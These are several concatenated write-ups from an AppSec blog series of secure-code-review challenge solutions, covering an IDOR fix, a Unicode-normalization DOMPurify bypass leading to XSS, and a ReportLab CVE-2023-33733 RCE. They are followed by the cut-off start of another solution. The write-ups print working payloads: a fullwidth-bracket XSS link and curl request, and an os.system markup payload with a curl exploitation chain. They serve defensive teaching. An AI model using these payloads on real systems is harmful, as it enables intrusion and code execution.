
7. 🛠️ The Fix

Primary fix — enforce ownership on every per-object route. After loading the job, compare its owner to the caller and return 404 (not 403, so the response doesn't confirm the ID even exists):

const job = await db.findJobByJobId(jobId);
if (!job || job.userId !== req.user.id) {
  return res.status(404).json({ error: 'Job not found' });
}

Better still, push the check into the query itself so a mismatched owner can never be loaded at all — findJobByJobId(jobId, userId) → findOne({ jobId, userId: new ObjectId(userId) }). Apply this to all four routes: the API's status and download endpoints, and their UI twins.

As with every challenge in this series, that one fix shouldn’t be the only control:

• Unpredictable IDs. Swap the date-plus-counter scheme for a UUID or crypto.randomUUID() as the public job ID, so IDs can't be enumerated even if an ownership check is ever missed on a future route. Predictability is what turns a single leaked-link IDOR into mass harvesting.
• Scope by owner at the data layer by default. Make userId a required argument on single-object reads, mirroring what findJobsByUserId already does — so "look up one job" is ownership-scoped the same way "list my jobs" already is.
• Add an authorization test to the suite. User B must get 404 on user A's job. That's the kind of test that catches this exact class of bug in CI before it ships.

Why This Matters Beyond This One App

Every individual control in this app is legitimately well-built: password hashing, NoSQL sanitization, a shell-free command execution pattern, a real CVE mitigated by the exact flag its advisory recommends, safe path construction, auto-escaping templates. None of that mattered, because the one thing none of it covers is ownership. Authentication answers who is calling. Authorization answers whether they may touch this specific object. Those are different questions, and a system can get the first one completely right while never asking the second.

The reviewer’s habit that catches this: at every entry point that takes an object ID from the request — a path param, a query string, a body field — ask “whose data is this, and where is that checked?” Treat an ID-only lookup like findByJobId(jobId) as guilty until an ownership check is shown, the same way you'd treat unescaped output as guilty until you've confirmed the templating engine handles it. And treat opaque, unguessable IDs as a backstop, never the actual control — a UUID makes an ownership bug harder to find, but it doesn't fix the bug.

Real-world grounding: IDOR on downloadable resources is a bug-bounty staple. The First American Financial leak (2019) is the canonical large-scale example — sequential document IDs exposed roughly 885 million title-insurance records with no authorization check at all. Same shape of bug, six orders of magnitude bigger blast radius.

Wrapping Up

If you worked through File Converter yourself, I’d like to know: when you hit a route that takes an object ID straight from the URL, is checking ownership a reflex for you by now, or does seeing requireAuth on the route make it feel like the access-control question is already settled?

Challenge #5 is live now if you’re ready for the next one, and I’ll be back in two weeks with its solution and a new challenge alongside it.

Links:

• 🎥 Video walkthrough: https://youtu.be/R_xdc6y9Rho
• 📄 Full solution write-up: SOLUTION.md
• 📂 Repo: the-secure-code-review-challenge
• 🧩 Try Challenge #4: challenges/004-file-converter
• 🧩 Try Challenge #5: challenges/005-notetaker

The Secure Code Review Challenge — Solution #4: File Converter (A Guessable ID Is an Accessible ID) was originally published in AppSec Untangled on Medium, where people are continuing the conversation by highlighting and responding to this story.

The Secure Code Review Challenge is a free biweekly series of full, realistic applications with vulnerabilities based on real-world CVEs and writeups — you review, identify, and exploit them the way you would in a real security review, not just spot-the-bug pattern recognition.

If you haven’t attempted the challenge yet, this is your cue to stop reading, clone the repo, and try it yourself first. Everything below assumes you’ve already had a go at it — no shame either way, but the exercise is worth more if you struggle with it a bit before seeing the answer.

Two quick announcements before we get into it:

• Challenge #4 is already live in the repo under challenges/ here. The solution to it will follow on September 3rd.
• The repo uses GitHub Releases for every new challenge and solution drop. If you go to Watch → Custom → Releases on the repo, you’ll get notified automatically instead of having to check back manually.

With that out of the way, let’s walk through Dice the same way I did in the video — following the same seven-step methodology laid out in the repo, end to end.

A Quick Reminder of What We’re Reviewing

Dice is a tiny single-page utility — no accounts, no database, no sessions. You can roll one or several six-sided dice, and you can submit a comma-separated list of words and get one picked at random, with the full list echoed back. Every request is public and self-contained. That simplicity is exactly what makes this one interesting: with no authentication or authorization model to break, almost the entire review weight shifts to how the app handles the one piece of untrusted text it actually touches — the word list.

Part I — Building the Mental Model

1. 🗺️ Application Scope & Architecture

As always, the first move is just spinning the app up and playing with it:

docker compose up

Roll a die, roll a couple, submit a word list, get one picked at random. No login screen, nothing gated — a genuinely public, low-stakes little app. That already tells you something important for the review: business-logic checks like auth, IDOR, and CSRF are probably not where this challenge lives.

Reading the stack next:

• Node.js + Express 5 for the backend — one file, index.js, holds every route
• DOMPurify (backed by jsdom, since DOMPurify needs a DOM to run server-side) — an HTML sanitizer
• unorm — a Unicode normalization library
• A static HTML/JS front end served by Express, with no templating engine

The docker-compose.yml builds the local Dockerfile (node:20-alpine) and publishes port 3000 — one container, nothing else running alongside it.

index.js is where the Express backend app lives and has multiple routes. The front end matters just as much here as the backend. views/index.html calls the API with fetch and writes the JSON response straight back into the page. It also auto-runs the word selector from a ?words= URL parameter on page load.

2. 🚪 Entry Points

Since there’s no auth anywhere, every entry point is reachable by anyone:

• GET / — untrusted input: ?words= (consumed by client JS on load)
• GET /api/roll-dice — no untrusted input
• POST /api/roll-dices — untrusted input: count (JSON body)
• GET /api/random-word — untrusted input: words (query string)
• POST /api/random-word — untrusted input: words[] (JSON body)

The web page itself is an additional surface worth calling out separately: it takes the same word input from a textarea or from that ?words= URL parameter, and renders whatever the API sends back into the DOM.

3. 🎯 Dangerous Sinks

With business logic largely off the table, the review is really about tracing what happens to the words input. Two things stand out immediately once you open views/index.html:

The page is full of innerHTML assignments — the pattern we've flagged as dangerous in earlier challenges in this series, because anything written into innerHTML gets parsed as HTML, not displayed as text. The specific one that matters here is where the API's response gets rendered:

let html = `<div class="selected-word">Selected: ${data.selectedWord}</div>`;   // :230
data.allWords.forEach((word, index) => {
    html += `<div class="word-item">${index + 1}. ${word}</div>`;                // :233
});
resultDiv.innerHTML = html;                                                       // :237

If data.selectedWord or any word contains live HTML, that HTML gets parsed and executed by the browser. The only thing standing between user input and this sink is whatever the server does inside processWords() before returning the words — so the whole question of this review becomes: can a payload survive processWords() and still contain live HTML on the other side?

There’s also a second, much smaller thing worth flagging while we’re in the code, even though it isn’t the main event: roll-dices takes a count from the request body with no upper bound:

const count = parseInt(req.body.count) || 1;

The UI caps this at 10, but the API itself doesn’t — send {"count": 100000000} directly, and the server will happily try to build an array that size. It's a minor denial-of-service issue, not the planted vulnerability, but it's a legitimate finding and a good example of why you check the API directly instead of only trusting what the UI lets you send.

4 & 5. 🧩 Threat Modeling and 🔍 Mitigation Review

🔓 Business logic first. This app is intentionally public — no accounts, no sessions, no per-object data, nothing state-changing on the server. There’s no privilege boundary to cross, so authentication, authorization, IDOR, and CSRF are all not applicable by design. That’s a real, quick verdict here, not a corner being cut — the app genuinely has nothing in this category to check.

💉 Source-to-sink next — is the innerHTML sink actually reachable?Here’s where the review earns its keep. Open processWords():

function processWords(words) {
    return words.map(word => {
        let sanitized = DOMPurify.sanitize(word, { ALLOWED_TAGS: [] });   // 1) strip HTML
        sanitized = unorm.nfkc(sanitized);                               // 2) THEN normalize
        return sanitized;
    });
    // ...
}

The obvious first check is: does DOMPurify actually work? It does. Feed it a real <script>alert(1)</script> tag and it comes back empty — DOMPurify strips it exactly as expected. On the surface, this looks like a textbook case of "dangerous sink, but properly mitigated." If that were the whole story, this review would be finished: sanitize before render, verified, move on.

But there’s a second line in that function — unorm.nfkc(sanitized) — and it runs after sanitization, not before. That ordering is worth pausing on, because it's a pattern this series has seen before. In Challenge #1, a check ran, and then a modification ran on the already-checked value — trimming whitespace after an authorization check had already passed, which let an attacker slip past the check with a value that only became "clean" afterward. This is the same shape of bug: verify first, modify second. Whenever you see that order, the question to ask is: is there an input that passes the check as garbage, but the modification turns into something dangerous?

For a sanitizer specifically, that means asking: is there a character the sanitizer lets through as harmless text, that normalization would then turn into real HTML syntax?

Unicode normalization exists for good reasons — folding “strange-looking” Unicode characters into their standard equivalents, useful for search, string comparisons, or making foreign-language input consistent. Run it on stylized text like 𝕒𝕡𝕡𝕝𝕖, 𝕓𝕒𝕟𝕒𝕟𝕒, 𝕔𝕙𝕖𝕣𝕣𝕪 and it comes back as plain apple, banana, cherry.

$ node
Welcome to Node.js v24.16.0.
Type ".help" for more information.
> const unorm = require('unorm');
undefined
> s='𝕒𝕡𝕡𝕝𝕖, 𝕓𝕒𝕟𝕒𝕟𝕒, 𝕔𝕙𝕖𝕣𝕣𝕪'
'𝕒𝕡𝕡𝕝𝕖, 𝕓𝕒𝕟𝕒𝕟𝕒, 𝕔𝕙𝕖𝕣𝕣𝕪'
>  unorm.nfkc(s);
'apple, banana, cherry'
>

That’s the intended use — but the same folding applies to a much wider set of “compatibility” characters than most people realize, including two that matter a great deal here: the fullwidth less-than (＜, U+FF1C) and fullwidth greater-than (＞, U+FF1E) characters. Visually, these are almost indistinguishable from ordinary < and > — genuinely hard to spot just by eye. NFKC normalizes both straight to their ASCII equivalents.

That’s the bypass. ＜ and ＞ are not HTML syntax, so DOMPurify treats them as ordinary text and lets them straight through. The unorm.nfkc() call that follows then rewrites them into real < and > — reconstructing a live HTML tag after the sanitizer already had its say and considered the string safe.

Part II — Finding, Exploiting, and Fixing the Bug

6. 🧪 The Vulnerability: Sanitizer Bypass Through the Wrong Order of Operations

You can see the bypass directly by running processWords's two steps side by side on two different inputs:

INPUT       : "<img src=x onerror=alert(1)>"      (real ASCII tag)
afterPurify : ""                                   ← DOMPurify strips it ✔
afterNFKC   : ""

INPUT       : "＜img src=x onerror=alert(1)＞"      (fullwidth tag)
afterPurify : "＜img src=x onerror=alert(1)＞"      ← passes through as "text"
afterNFKC   : "<img src=x onerror=alert(1)>"       ← normalization revives the tag 💥

One quick note on payload choice: a fullwidth ＜script＞ tag normalizes just as well, but browsers don't execute <script> elements that get inserted via innerHTML — that's a deliberate HTML5 security behavior. For an innerHTML sink, the reliable primitive is an event-handler-bearing tag like <img src=x onerror=...> or <svg onload=...>, which is why the PoC uses onerror.

Proving it against the running server — both endpoints reconstruct a live tag from the fullwidth payload:

# POST (JSON body). --data-binary preserves the multibyte UTF-8 characters.
curl -s -X POST http://localhost:3000/api/random-word \
  -H "Content-Type: application/json" \
  --data-binary '{"words": ["＜img src=x onerror=alert(document.domain)＞"]}'
# → {"selectedWord":"<img src=x onerror=alert(document.domain)>",
#     "allWords":["<img src=x onerror=alert(document.domain)>"],"originalCount":1}

The response contains a real <img onerror=...> tag — the sanitizer has been bypassed server-side, before the payload ever reaches the browser.

And because the front end auto-runs the word selector from ?words= on page load, this isn't just a curl trick — it's a complete, one-click XSS delivered as a single link:

http://localhost:3000/?words=%EF%BC%9Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%EF%BC%9E

(%EF%BC%9C / %EF%BC%9E are just the URL-encoded UTF-8 bytes for ＜ / ＞.) A victim opens that link, the page fetches the word selector automatically, the server hands back a live <img> tag, the UI drops it into innerHTML, the image fails to load, and onerror fires — arbitrary JavaScript running in the victim's origin, with no clicks beyond opening the link.

There’s no session or cookie to steal in this particular toy app, but in a real application this is the standard DOM XSS blast radius: session hijack, keylogging, forged same-origin requests, phishing overlays laid over the real page — all triggered by a link that looks completely unremarkable.

7. 🛠️ The Fix

The fix is genuinely one line — swap the order:

const sanitizedWords = words.map(word => {
    const normalized = unorm.nfkc(word);                          // 1) canonicalize FIRST
    return DOMPurify.sanitize(normalized, { ALLOWED_TAGS: [] });   // 2) THEN sanitize (last transform)
});j

With normalization running first, ＜img …＞ becomes <img …> before DOMPurify ever sees it — so DOMPurify strips it like any other tag, and the bypass is closed.

That one-line reorder is the core fix, but as with every challenge in this series, it shouldn’t be the only control. A few things worth layering on top:

• Fix the sink, not just the source. innerHTML is still doing string concatenation of untrusted data — that's the underlying risk, independent of this specific bug. Building the DOM with textContent / createElement instead would have neutralized this payload even with the ordering bug still in place:

const sel = document.createElement('div');
sel.className = 'selected-word';
sel.textContent = `Selected: ${data.selectedWord}`;
resultDiv.replaceChildren(sel);
// build each word row with createElement + textContent too

• Add a Content-Security-Policy. A restrictive CSP (default-src 'self'; script-src 'self'; object-src 'none') would block inline onerror= handlers from executing at all — a second independent layer catching the same class of bug. Note the app currently uses inline on* handlers elsewhere, so adopting a strict CSP means moving that JS out of attributes first.
• Input validation / allow-listing on the word fields — a length cap and a character allow-list makes it much harder to smuggle any kind of markup through in the first place.
• Clamp count on POST /api/roll-dices (e.g. Math.min(Math.max(1, count), 10)) to close the unbounded-loop DoS finding from earlier.

8. Why This Matters Beyond unorm and DOMPurify

The individual pieces here are each, on their own, correct. DOMPurify does exactly what it promises — it strips real HTML tags. unorm.nfkc() does exactly what it promises — it folds compatibility Unicode characters to their canonical form. Neither library has a bug. The vulnerability lives entirely in the order they were wired together in.

This is the exact same underlying pattern as Challenge #1’s authorization bypass, just wearing different clothes: a check ran, and then a transformation ran on the value after the check had already passed judgment on it. The check itself was never the weak point in either case — the sequencing was. This has a name: CWE-180 — Incorrect Behavior Order: Validate Before Canonicalize, a close cousin of CWE-179, and it’s exactly what DOMPurify’s own documentation warns against — treat its output as final, and never transform it afterward.

The broader takeaway for how you review code: whenever a pipeline chains multiple transforms — decode, normalize, trim, canonicalize, validate, sanitize — the order matters as much as the presence of each individual step. A sanitizer that runs before a canonicalizing transform isn’t sanitizing the value that actually gets used; it’s sanitizing an intermediate value that never sees the light of day. The rule to carry forward: canonicalize/normalize/decode first, validate/sanitize last — and once sanitization has run, that value should be the final one that reaches the sink, full stop.

Wrapping Up

If you worked through Dice yourself, I’d like to know: did you spot the ordering issue on your own, or did DOMPurify’s “clean” output on a normal payload convince you to move on before you looked at what came after it?

Challenge #4 is live now if you’re ready for the next one, and I’ll be back on September 3rd with its solution and a new challenge alongside it.

Links:

• 🎥 Video walkthrough: https://youtu.be/Wv1kIrZVLbI
• 📄 Full solution write-up: SOLUTION.md
• 📂 Repo: the-secure-code-review-challenge
• 🧩 Try Challenge #3: challenges/003-dice
• 🧩 Try Challenge #4: challenges/004-file-converter

The Secure Code Review Challenge — Solution #3: Dice 🎲 (When Input Sanitization Is Not Enough) was originally published in AppSec Untangled on Medium, where people are continuing the conversation by highlighting and responding to this story.

The Secure Code Review Challenge is a free biweekly series of full, realistic applications with vulnerabilities based on real-world CVEs — you review, identify, and exploit them the way you would in a real security review, not just spot-the-bug pattern recognition.

If you haven’t attempted the challenge yet, this is your cue to stop reading, clone the repo, and try it yourself first. Everything below assumes you’ve already had a go at it — no shame either way, but the exercise is worth more if you struggle with it a bit before seeing the answer.

Two quick announcements before we get into it:

• Challenge #3 is already live in the repo under challenges/ here. The solution to it will follow in a couple of weeks, alongside a fourth challenge.
• The repo uses GitHub Releases for every new challenge and solution drop. If you go to Watch → Custom → Releases on the repo, you’ll get notified automatically instead of having to check back manually.

With that out of the way, let’s walk through Professional the same way I did in the video — following the same seven-step methodology laid out in the repo, end to end.

A Quick Reminder of What We’re Reviewing

Professional is a small résumé-builder platform. Users register, log in, create one or more professional profiles (a bio plus work experience entries), mark each profile public or private, and export any profile as a PDF résumé. Two roles, no admin, no complicated org structure — the application logic itself is about as straightforward as it gets. That simplicity matters for this challenge: it’s a good reminder that the app’s own code being clean and well-guarded doesn’t automatically mean the app is safe. Sometimes the weak point isn’t anything you wrote at all.

Part I — Building the Mental Model

1. 🗺️ Application Scope & Architecture

As always, the first move is just running the app and using it — docker compose up --build, register a user, create a profile, mark it private, generate a résumé PDF. That alone tells you the shape of the feature set before you've read a line of code.

Reading the stack comes next:

• Python 3 + Flask for the backend routes
• MongoDB, accessed through PyMongo, with queries expressed as plain Python dicts (find_one({'username': name}))
• JWT auth via PyJWT, signed with HS256 and a shared secret
• bcrypt for password hashing
• ReportLab for generating the PDF résumés

The docker-compose.yml is worth reading closely here, because it tells you something the app code alone wouldn't: Mongo is brought up with no authentication configured, reachable only over the private Docker network. That's a reasonable assumption if nothing else on that network can be coerced into talking to it maliciously — file that away, because it becomes relevant later.

The Dockerfile builds from python:3.10.14-slim, installs requirements.txt, and switches to a non-root appuser before running app.py. Non-root is good hygiene, but it limits blast radius — it doesn't prevent code execution inside the container in the first place.

From app.py, the picture is: routes for auth, profile CRUD, and résumé generation, all defined directly on the Flask app; a store.py module wrapping the two Mongo collections (users and profiles); a pdf_generator.py module that builds the résumé with ReportLab; and a thin static frontend (index.html + app.js) that stores the JWT in sessionStorage and attaches it as a Bearer header on every request.

One more detail worth clocking early, because a review should reason about dependencies and not just first-party code: the libraries in play here are Flask, MongoDB/PyMongo, PyJWT, bcrypt, and ReportLab. Every one of them is a place where someone else’s code — not this app’s — determines part of your security posture.

2. 🚪 Entry Points

Enumerating entry points is mostly a matter of reading the routes:

• POST /register — no auth. Body: username, password
• POST /login — no auth. Body: username, password
• GET /profiles — no auth. Lists public profiles
• POST /profiles — authenticated. Body: bio, work_experiences[], is_private
• GET /profiles/my — authenticated. Uses the caller's ID from the JWT
• GET /profiles/<id> — no @authenticate_token decorator at all. id comes from the URL
• PUT /profiles/<id> — authenticated. Body: bio, work_experiences[], is_private, plus id from the URL
• DELETE /profiles/<id> — authenticated. id from the URL
• POST /profiles/my/resume — authenticated. Reads the caller's own stored profile and returns a generated PDF

That missing decorator on GET /profiles/<id> stands out immediately — it's the kind of thing that looks like it should be an authorization bug. Keep it in mind; we'll come back to it.

3. 🎯 Dangerous Sinks

Places where user input could change behavior, before deciding which are actually reachable:

• MongoDB queries (find_one, find, update_one) across store.py, fed by usernames and profile fields
• ObjectId(profile_id), fed by the <id> URL segment
• DOM rendering in the frontend, fed by whatever the API returns as JSON
• ReportLab’s Paragraph() markup parser, fed by bio, work-experience fields, and username

That last one deserves a beat of explanation, because it’s easy to skim past. Paragraph() doesn't treat its argument as plain text — it parses a small XML/HTML-like markup language, with tags like <b>, <br/>, and <font color="...">. In pdf_generator.py, user-controlled text is handed to Paragraph() with no escaping at all: the bio, every work-experience field, and even the username in the document title. Untrusted input reaching a markup parser unescaped is exactly the kind of thing worth carrying forward as a lead.

4 & 5. 🧩 Threat Modeling and 🔍 Mitigation Review

Same two buckets as always: business-logic vulnerabilities (should this be enforced, per entry point) and source-to-sink vulnerabilities (should this be reachable, per sink).

🔓 Business logic first.

Authentication holds up: the JWT decode pins algorithms=['HS256'] — no algorithm-confusion path — and passwords are hashed and verified with bcrypt on both register and login.

Authorization / IDOR also holds up on the routes that matter for mutation: both the update and delete handlers check ownership against request.current_user_id, which is derived from the verified token, never from anything in the request body.

The private-profile route is the interesting one. Remember that missing @authenticate_token decorator on GET /profiles/<id>? Because the decorator never runs, request.current_user_id is never set — and the private-check branch in that handler treats everyone, including the profile's own owner, as unauthenticated. The practical effect is that it returns a 404 to anyone trying to view a private profile by ID, owner included. It's a bug, but it's an over-restrictive functional bug, not a data leak — nothing sensitive is actually exposed. Worth flagging, not worth chasing as "the" vulnerability.

CSRF is a non-issue here: auth is a Bearer token read from sessionStorage and attached manually by the frontend JS, and there's no auth cookie for a forged cross-site request to ride along on.

💉 Source-to-sink next.

NoSQL injection is worth checking carefully given how MongoDB queries work in this app. The /login username flows into find_one({'username': username}) — since it comes from a JSON body, a dict like {"$ne": null} could technically match a document. But login still requires the real password via bcrypt.checkpw(...), and password.encode() throws if the password isn't a string, so the operator trick can't complete an actual auth bypass. The ObjectId(profile_id) path is even more clear-cut: a URL path segment is always a plain string, so it structurally can't carry a dict or operator in the first place — the worst case is an invalid string raising inside ObjectId(), caught by a try/except and turned into a 500.

Stored/DOM XSS in the frontend also checks out clean: the UI builds nodes with textContent and element properties, never innerHTML, and there's a CSP restricting script-src to 'self' on top of that.

So at this point, every business-logic check and every classic source-to-sink vector — auth, IDOR, CSRF, NoSQL injection, XSS — comes back clean. The app’s own code, genuinely, is well-written. Which is exactly the setup for where this challenge is actually going.

Part II — Finding, Exploiting, and Fixing the Bug

6. 🧪 The Vulnerability: 💥 RCE Through a Dependency, Not the App’s Own Code

Go back to the one sink we flagged and didn’t cross off: Paragraph() parsing the bio, work-experience fields, and username as markup, completely unescaped.

Running a vulnerability scanner such as Grype shows this function has a High severity vulnerability that could lead to RCE.

$ grype .
 ✔ Indexed file system                                                                                                                                   .
 ✔ Cataloged contents                                                                     cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
   ├── ✔ Packages                        [7 packages]
   ├── ✔ Executables                     [0 executables]
   ├── ✔ File digests                    [1 files]
   └── ✔ File metadata                   [1 locations]
 ✔ Scanned for vulnerabilities     [16 vulnerability matches]
   ├── by severity: 0 critical, 4 high, 10 medium, 2 low, 0 negligible
   └── by status:   16 fixed, 0 not-fixed, 0 ignored
[0000]  WARN no explicit name and version provided for directory source, deriving artifact ID from the given path (which is not ideal) from=syft
NAME           INSTALLED  FIXED IN  TYPE    VULNERABILITY        SEVERITY  EPSS         RISK
werkzeug       2.3.7      3.0.3     python  GHSA-2g68-c3qc-8985  High      3.4% (87th)  2.5
reportlab      3.6.9      3.6.13    python  GHSA-9q9m-c65c-37pq  High      2.1% (80th)  1.6
werkzeug       2.3.7      3.0.6     python  GHSA-q34m-jh98-gwm2  Medium    1.1% (62nd)  0.7
werkzeug       2.3.7      2.3.8     python  GHSA-hrfv-mqp8-q5rw  Medium    1.1% (61st)  0.6
werkzeug       2.3.7      3.0.6     python  GHSA-f9vj-2wh5-fj8j  Medium    0.8% (52nd)  0.4
pymongo        4.5.0      4.6.3     python  GHSA-m87m-mmvp-v9qm  Medium    0.7% (48th)  0.3
werkzeug       2.3.7      3.1.6     python  GHSA-29vq-49wr-vm6x  Medium    0.6% (43rd)  0.3
pyjwt          2.8.0      2.13.0    python  GHSA-xgmm-8j9v-c9wx  High      0.4% (32nd)  0.3
werkzeug       2.3.7      3.1.4     python  GHSA-hgf8-39gv-g3f2  Medium    0.5% (41st)  0.3
werkzeug       2.3.7      3.1.5     python  GHSA-87hc-h4r5-73f7  Medium    0.4% (34th)  0.2
pyjwt          2.8.0      2.12.0    python  GHSA-752w-5fwx-jx9f  High      0.3% (18th)  0.2
pyjwt          2.8.0      2.13.0    python  GHSA-w7vc-732c-9m39  Medium    0.4% (29th)  0.2
python-dotenv  1.0.0      1.2.2     python  GHSA-mf9w-mj56-hr94  Medium    0.3% (17th)  0.1
pyjwt          2.8.0      2.13.0    python  GHSA-fhv5-28vv-h8m8  Low       0.3% (26th)  0.1
pyjwt          2.8.0      2.13.0    python  GHSA-993g-76c3-p5m4  Medium    0.2% (12th)  0.1
flask          2.3.3      3.1.3     python  GHSA-68rp-wp8r-4726  Low       0.3% (26th)  < 0.1

So an attacker just stores the exploit payload as their own bio and requests their own résumé. Let’s use the payload in the PoC documented here to prove this is exploitable.

Proof of concept:

# 1. Save the CVE-2023-33733 payload. It runs: touch /tmp/exploited
cat > payload <<'EOF'
<para>
  <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
    exploit
  </font>
</para>
EOF

# 2. Register a normal user
curl -s -X POST http://localhost:5000/register \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"password123"}'

# 3. Log in and grab the JWT
JWT_TOKEN=$(curl -s -X POST http://localhost:5000/login \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"password123"}' | jq -r '.token')

# 4. Create a profile whose bio *is* the payload
curl -s -X POST http://localhost:5000/profiles \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $JWT_TOKEN" \
  -d "{\"bio\": $(jq -Rs . < payload)}"

# 5. Generate the résumé PDF - this parses the bio markup and runs the command
curl -s -X POST http://localhost:5000/profiles/my/resume \
  -H "Authorization: Bearer $JWT_TOKEN" \
  --output resume.pdf

Confirm it landed inside the container:

docker exec -it $(docker ps -q --filter "name=app") ls -la /tmp/exploited
# → file exists ⇒ arbitrary command executed on the server

No auth bypass, no injection into a query, no clever chain across multiple app bugs. One legitimate feature (PDF export), fed attacker-controlled text, handed to a vulnerable library that treats that text as executable markup. That’s the entire attack. Code execution here runs as appuser — non-root limits the damage but doesn't prevent it, and it's more than enough to read the app's secrets and reach that unauthenticated Mongo instance over the Docker network.

7. 🛠️ The Fix

The primary fix is the obvious one: patch the dependency.

# requirements.txt
reportlab==4.0.7   # was 3.6.9 (CVE-2023-33733); 3.6.13 is the minimum patched version

But patching alone isn’t the whole story, and the solution write-up is deliberately clear about not relying on a single control here. A few things worth layering on top:

• Escape user input before it becomes markup, even on a patched version — Paragraph() still treats its input as markup, patched sandbox or not:

from xml.sax.saxutils import escape
story.append(Paragraph(escape(profile['bio'])))
# escape() every work-experience field and the username too

• Input validation / allowlisting at the API boundary, restricting characters and length on profile fields so a payload like this can’t be stored in the first place.
• Automated dependency scanning in CI — this is fundamentally an “outdated component” bug, so tools like pip-audit, Grype, Snyk, or Dependabot would have caught it before it ever shipped.
• Harden the runtime further — render PDFs in a locked-down worker with no outbound network and a minimal filesystem, enable MongoDB authentication instead of leaving it open on the Docker network, and turn off Flask’s debug=True outside local development (its interactive debugger is its own RCE vector).

8. Why This Matters Beyond ReportLab

The specific CVE here is ReportLab’s, but the lesson isn’t really about ReportLab. It’s this: a secure code review that only reviews first-party code is an incomplete review. Every check we ran in Part I — auth, authorization, CSRF, injection, XSS — came back clean, and honestly, they were clean. The application’s own logic was well-written. None of that mattered, because the vulnerability wasn’t in logic the team wrote; it was in a library they pulled in to handle a completely mundane feature, sitting three minor versions behind a fix.

This is exactly what OWASP’s A06:2021 — Vulnerable & Outdated Components is about, and it’s worth taking seriously precisely because it doesn’t feel like a “coding” bug. Nobody on the team wrote eval(). Nobody skipped an authorization check. The team just didn't have visibility into what their dependency tree actually contained, and didn't have a control (escaping) that would have neutralized the risk even if the dependency stayed outdated for a while.

The practical takeaway for how you review code: your dependency list is part of your application’s attack surface, not separate from it. A review that stops at “the code my team wrote looks solid” — without running an SCA tool, without checking what markup/template/serialization libraries are doing with untrusted input — is going to miss exactly this class of bug. Equifax in 2017 is still the canonical example of what this looks like at scale (an unpatched Apache Struts RCE, ~147 million records), but you don’t need a breach that size to internalize the lesson: check what your dependencies are actually parsing, and check whether they’re current, every time — not just the code sitting in your own repo.

Wrapping Up

If you worked through Professional yourself, I’d like to know how far you got before you landed on the dependency — did you go looking at requirements.txt early, or did you (like the "natural" review order in this write-up) only get there after everything else checked out clean? Drop your thoughts in the comments.

Challenge #3 is live now if you’re ready for the next one, and I’ll be back in a couple of weeks with its solution and a new challenge alongside it.

Links:

• 🎥 Video walkthrough: https://youtu.be/2j3dM9OiOT0
• 📄 Full solution write-up: SOLUTION.md
• 📂 Repo: the-secure-code-review-challenge
• 🧩 Try Challenge #2: challenges/002-professional
• 🧩 Try Challenge #3: challenges/003-dice

Secure Code Review Challenge #2: Professional — Solution (Clean Code Can Still Be Vulnerable) was originally published in AppSec Untangled on Medium, where people are continuing the conversation by highlighting and responding to this story.

The Secure Code Review Challenge is a free biweekly series of full, realistic applications with vulnerabilities based on real-world CVEs — you review, identify, and exploit them the way you would in a real security review, not just spot-the-bug pattern recognition.

If you haven’t attempted the challenge yet, this is your cue to stop reading, clone the repo, and try it yourself first. Everything below assumes you’ve already had a go at it — no shame either way, but the exercise is worth more if you struggle with it a bit before seeing the answer.

Two quick announcements before we get into it:

• Challenge #2 is already live in the repo under challenges/. The solution to it will follow in a couple of weeks, alongside a third challenge.
• The repo now uses GitHub Releases for every new challenge and solution drop. If you go to Watch → Custom → Releases on the repo, you’ll get notified automatically instead of having to check back manually.

With that out of the way, let’s walk through Schooled the same way I did in the video — following the same seven-step methodology laid out in the repo, end to end.

A Quick Reminder of What We’re Reviewing

Schooled is a small course-management platform. Teachers create and manage courses, students browse and enroll in them, and admins manage the platform and its users. Nothing exotic — which is exactly the point. Most real applications you’ll review in your career look like this: a handful of roles, a handful of routes, and a database behind it. The vulnerability we’re after isn’t hiding behind obscure architecture; it’s hiding in a very ordinary-looking piece of logic.

Part I — Building the Mental Model

1. Application Scope & Architecture

Before touching any code, it’s worth just running the app and using it like a normal user would — this is exactly what the challenge README walks you through with a single docker compose up --build. Register as a teacher, create a course, log out, register as a student, enroll in that course. Five minutes of clicking around tells you more about the intended behavior than staring at the code cold.

Once you’re through that, it’s time to actually read the stack:

• Node.js + Express for the backend routes
• EJS as the server-rendered templating engine for the UI
• PostgreSQL, accessed through the pg library
• JWT for authentication, stored in an httpOnly, SameSite=Strict cookie for the browser UI, or passed as a Bearer token for API clients

The docker-compose.yml is a great entry point into the architecture itself — it tells you there are exactly two containers (the app and Postgres), and that the app's Dockerfile builds from a Node base image and boots via an npm start script, which in turn runs node server.js. From server.js, you can see three route groups get attached — /api/auth, /api/courses, and /api/admin — plus a single EJS-rendered page and a public/app.js file that runs client-side.

That’s enough to have a working mental model: Express handles routing, EJS renders the one HTML page, app.js handles DOM updates in the browser, and everything durable goes through a single database class using parameterized pg queries.

2. Entry Points

With the architecture in hand, enumerating entry points is mostly a matter of reading the route files:

• POST /api/auth/register — No auth required. Body: username, email, password, role
• POST /api/auth/login — No auth required. Body: username, password
• GET / — No auth required (cookie optional). Renders the EJS UI
• GET /api/courses — Any authenticated user. Lists courses
• GET /api/courses/:id — Any authenticated user. :id from URL
• GET /api/courses/user/enrollments — Any authenticated user. Returns own enrollments
• POST /api/courses — teacher or admin. Creates a course
• POST / DELETE /api/courses/:id/enroll — student or admin. Enroll / unenroll
• GET /api/admin/users — admin only. Lists all users
• GET /api/admin/users/:id — admin only. Gets a single user
• POST /api/admin/users/:id/promote — admin only. Promotes a user to admin

Two things are worth flagging immediately: the web UI surfaces all of this to a browser, which means it’s an attack surface for XSS and CSRF even though it hits the same backend routes; and the only documented way to become an admin is either being the seeded admin account or being promoted by an existing one via /api/admin/users/:id/promote. Keep that second point in your back pocket — it matters a lot later.

3. Dangerous Sinks

Anywhere user input can end up somewhere dangerous:

• SQL queries — all through the pg Pool in src/store/database.js
• HTML rendering — the EJS template (views/index.ejs), which outputs user.username and user.role from the JWT
